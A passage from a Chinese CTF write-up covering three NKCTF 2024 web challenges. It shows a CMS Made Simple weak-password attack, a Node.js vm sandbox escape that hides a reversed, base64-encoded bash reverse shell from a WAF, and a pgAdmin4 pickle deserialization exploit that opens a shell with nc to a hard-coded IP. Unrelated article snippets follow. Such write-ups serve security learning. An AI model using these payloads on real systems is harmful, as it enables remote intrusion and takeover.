【Web】NKCTF 2024 个人wp(部分)

news/2024/5/12 17:36:54

目录

my first cms

全世界最简单的CTF

attack_tacooooo 


属实太菜了,3/4

my first cms

一眼搜版本2.2.19

CVE -CVE-2024-27622

 GitHub - capture0x/CMSMadeSimple

访问/admin/login.php

爆出弱口令,后台登录

admin Admin123

Extensions > User Defined Tags -> Add User Defined Tag,写入恶意命令

 点击Run执行拿到flag

全世界最简单的CTF

首先访问/secret得到源码

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))app.get('/', function (req, res){res.sendFile(__dirname + '/public/home.html');
})function waf(code) {let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;if(code.match(pattern)){throw new Error("what can I say? hacker out!!");}
}app.post('/', function (req, res){let code = req.body.code;let sandbox = Object.create(null);let context = vm.createContext(sandbox);try {waf(code)let result = vm.runInContext(code, context);console.log(result);} catch (e){console.log(e.message);require('./hack');}
})app.get('/secret', function (req, res){if(process.__filename == null) {let content = fs.readFileSync(__filename, "utf-8");return res.send(content);} else {let content = fs.readFileSync(process.__filename, "utf-8");return res.send(content);}
})app.listen(3000, ()=>{console.log("listen on 3000");
})

这一段就是要打vm2沙箱逃逸了,原理:NodeJS VM沙箱逃逸-CSDN博客  

app.post('/', function (req, res){
        let code = req.body.code;
        let sandbox = Object.create(null);
        let context = vm.createContext(sandbox);
        try {
            waf(code)
            let result = vm.runInContext(code, context);
            console.log(result);
        } catch (e){
            console.log(e.message);
            require('./hack');
        }
})

这题如果没有过滤,exp应该这样写  

throw new Proxy({}, {
     get: function(){
         const c = arguments.callee.caller;
         const p = (c.constructor.constructor('return process'))();
         return p.mainModule.require('child_process').execSync('whoami').toString();
    }
})

题目的waf是

let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g; 

把过滤掉的关键字都换成这种模板文字,process可以用下面方法

(`${`${`child_proces`}s`}`)
.execSync转成[`${`${`exe`}cSync`}`]  

但是中括号 [ ]被waf了,所以想到child_process下面有5个函数,只剩下fork函数了

那么思路就是在上面payload基础上,通过fs进行文件写文件,然后用fork进行加载

为了逃逸waf,可以逆序内容,然后再反序过来,写入文件后再调用fork加载达到反弹shell

由于过滤了 + ,所以 base64 编码后有 + 号的要再编码一次
为了引号优先级不冲突, content 赋值要用 反引号括起来,const content=` 内容 `
payload:
throw new Proxy({}, {get: function(){const content = `;)"'}i-,hsab{|}d-,46esab{|}d-,46esab{|}9UkaKtSQEl0MNpXT4hTeNpHNp5keFpGT5lkaNVXUq1Ee4M0YqJ1MMJjVHpldBlmSrE0UhRXQDFmeG1WW,ohce{' c- hsab"(cexe;)"ssecorp_dlihc"(eriuqer = } cexe { tsnoc`;const reversedContent = content.split('').reverse().join('');	const c = arguments.callee.caller;const p = (c.constructor.constructor(`${`${`return proces`}s`}`))();p.mainModule.require('fs').writeFileSync('/tmp/test1.js', reversedContent);return p.mainModule.require(`${`${`child_proces`}s`}`).fork('/tmp/test1.js').toString();}
})

监听端口,成功反弹shell 

attack_tacooooo 

开搜pgAdmin4CVE

【漏洞通告】pgAdmin4反序列化代码执行漏洞(CVE-2024-2044)-启明星辰

Shielder - pgAdmin (<=8.3) Path Traversal in Session Handling Leads to Unsafe Deserialization and Remote Code Execution (RCE)

根据题目提示,tacooooo@qq.com,tacooooo 登录

exp.py(题目环境没有curl和bash命令,所以用nc反弹)

import os
import pickleclass exp(object):def __reduce__(self):s = """nc 124.222.136.33 1337 -e /bin/sh"""return os.system, (s,)
e = exp()
with open("./posix.pickle", "wb") as f:pickle.dump(e, f)

访问Storage Manager 

上传 posix.pickle 

 拿到上传文件的路径

包改 pga4_session=/var/lib/pgadmin/storage/tacooooo_qq.com/posix.pickle!a  

随便访问一个页面,成功执行命令,下略


http://www.mrgr.cn/p/38518381

相关文章

瑞芯微-I2S | 音频驱动调试基本命令和工具-基于rk3568-2

基于Linux嵌入式设备常用调试方法很多,本文一口君把调试语音用到的工具和方法给大家做一个简单的介绍。1. procfs、sysfs Linux系统上的/proc目录是一种文件系统,即proc文件系统。与其它常见的文件系统不同的是,/proc是一种伪文件系统(也即虚拟文件系统),存储的是当前内…

ubuntu22.04安装dnsmasq最详细易懂

安装 准确的来说&#xff0c;不是安装&#xff0c;因为默认ubuntu22版本自带的有dnsmasq&#xff0c;所以我们不用下载了&#xff0c;直接使用即可&#xff0c;否则就会产生冲突&#xff0c;这块吃了大亏。 最好在root账户下操作&#xff0c;没有设置root密码的&#xff0c;可…

【CSS浮动属性】别再纠结布局了!一文带你玩转CSS Float属性

在网页设计的世界里,CSS浮动属性(float)就像一把双刃剑。它能够让元素脱离文档流,实现灵活的布局,但如果处理不当,也可能引发一系列布局问题。 今天,我们就来深入探讨这把“剑”的正确使用方法,让你的页面布局既美观又稳定。 一、什么是CSS浮动属性 浮动属性是CSS中的一…

王道操作系统个人向笔记-第一章

目录操作系统的基本概念操作系统的概念操作系统的功能和目标操作系统的特征操作系统的发展历程手工操作阶段批处理阶段单道批处理系统多道批处理系统分时操作系统实时操作系统操作系统运行环境处理器运行模式中断和异常系统调用操作系统的体系结构操作系统的引导虚拟机 操作系统…

如何在群晖NAS搭建bitwarden密码管理软件并实现无公网IP远程访问

前言 作者简介&#xff1a; 懒大王敲代码&#xff0c;计算机专业应届生 今天给大家聊聊如何在群晖NAS搭建bitwarden密码管理软件并实现无公网IP远程访问&#xff0c;希望大家能觉得实用&#xff01; 欢迎大家点赞 &#x1f44d; 收藏 ⭐ 加关注哦&#xff01;&#x1f496;&am…

ebpf的CO-RE功能介绍

目录 CO-RE 引入 思路 介绍 使用 CO-RE 引入 因为ebpf需要深入内核,但内核中的数据结构很可能在不同版本中定义不同(尤其是结构体,可能会增加某个字段) 但我们在访问结构体时,比如一般通过指针偏移量来拿到特定变量的首地址 如果定义变化,偏移量就会变化,就会需要多份ebp…

前端学习-UI框架学习-Bootstrap5-006-表格

菜鸟教程链接 基础表格 <template><div class="container mt-3"><h2>基础表格</h2><p>.table 类来设置基础表格的样式:</p> <table class="table"><thead><tr><th>Firstname</…

stm32启动文件里面的__main和主函数main()

一、__main和main()之间的关系 先来对stm32启动过程简单学习 启动文件里面的Reset_Handler&#xff1a; 调用过程&#xff1a; stm32在启动后先进入重启中断函数Reset_Handler&#xff0c;其中会先后调用SystemInit和__main函数&#xff0c; __main函数属于c库函数&…

【代码审计+基础知识】-1

一、代码审计必备知识

PHP代码审计(二)常见漏洞篇

注入类 命令注入将用户输入拼接到命令行中执行 导致的任意命令执行问题<?php $command = ping -c 1 .$_GET[ip]; system($command); //system函数特性 执行结果会自动打印 ?>此处输入ip参数无任何过滤限制 get输入ip=127.127.127.127 如果是非法输入:ip=127.127.127.1…

http模块—http请求练习

题目要求&#xff1a;搭建如下http服务&#xff1a; 1.当浏览器向我们的服务器发送请求时&#xff0c;当请求类型是get请求&#xff0c;请求的url路径地址是/login。响应体结果是登录页面 2.当浏览器向我们的服务器发送请求时&#xff0c;当请求类型是get请求&#xff0c;请求…

软考中级软件设计师【结构化开发】知识点+题目

一、耦合耦合是模块之间的相对独立性(相互连接的紧密程度)的度量。耦合取决于各个模块之间接口的复杂程度、调用模块的方式以及通过接口的信息类型等,有以下几个类型。无直接耦合:指两个模块之间没有直接关系,它们分别属于不同模块的控制和调用,它们之间不传递任何信息,…

【C/C++】C++中的四种强制类型转换

创作不易&#xff0c;本篇文章如果帮助到了你&#xff0c;还请点赞 关注支持一下♡>&#x16966;<)!! 主页专栏有更多知识&#xff0c;如有疑问欢迎大家指正讨论&#xff0c;共同进步&#xff01; &#x1f525;c系列专栏&#xff1a;C/C零基础到精通 &#x1f525; 给大…

如何使用Java代码混淆技术保护您的应用程序

摘要 本文探讨了代码混淆在保护Java代码安全性和知识产权方面的重要意义。通过混淆技术,可以有效防止代码被反编译、逆向工程或恶意篡改,提高代码的安全性。常见的Java代码混淆工具如IPAGuard、Allatori、DashO、Zelix KlassMaster和yGuard等,为开发者提供了丰富的选择。本文…

【专题】2022年中国制造业数字化转型研究报告PDF合集分享(附原数据表)

报告链接:http://tecdat.cn/?p=32145 本文中所说的制造业数字化转型,指的是在制造企业的设计、生产、管理、销售及服务的每一个环节中,将新一代信息技术应用到制造企业的设计、生产、管理、销售及服务的每一个环节中,并可以以每一个环节中产生的数据为基础,展开控制、监测…

15K star!一款功能强悍的手机电脑同屏工具,开源无需root!

在日常工作、生活场景中&#xff0c;经常会遇到需将手机与电脑屏幕进行共享。 今天就给大家推荐一款Android实时投屏神器&#xff1a;QtScrcpy。 它可以通过 USB / 网络连接Android设备&#xff0c;并进行显示和控制&#xff0c;且无需root权限。 1、简介 QtScrcpy是一款功…

redis自学(25)过期策略

Redis内存回收 Redsi之所以性能强,最主要的原因就是基于内存存储。然而但决断的redis其内存大小不宜过大,会影响持久化或者主从同步性。 我们可以通过修改配置文件来设置redis的最大内存:当内存使用达到上限时,就无法存储更多数据了 过期策略 在学习redis缓存的时候我们说过…

同一SAP系统下使用SCC1跨客户端(client)传输配置

abap开发中会涉及到一些配置的,也会生成定制请求,比如说BTE中的配置,webservice中的端口配置。 这些配置并不是跨client的,通常一个SAP系统内会有多个client,比如,开发机系统内存在两个client,100和200,100下是纯开发client,200下会有一点简单测试数据,100,200之间的…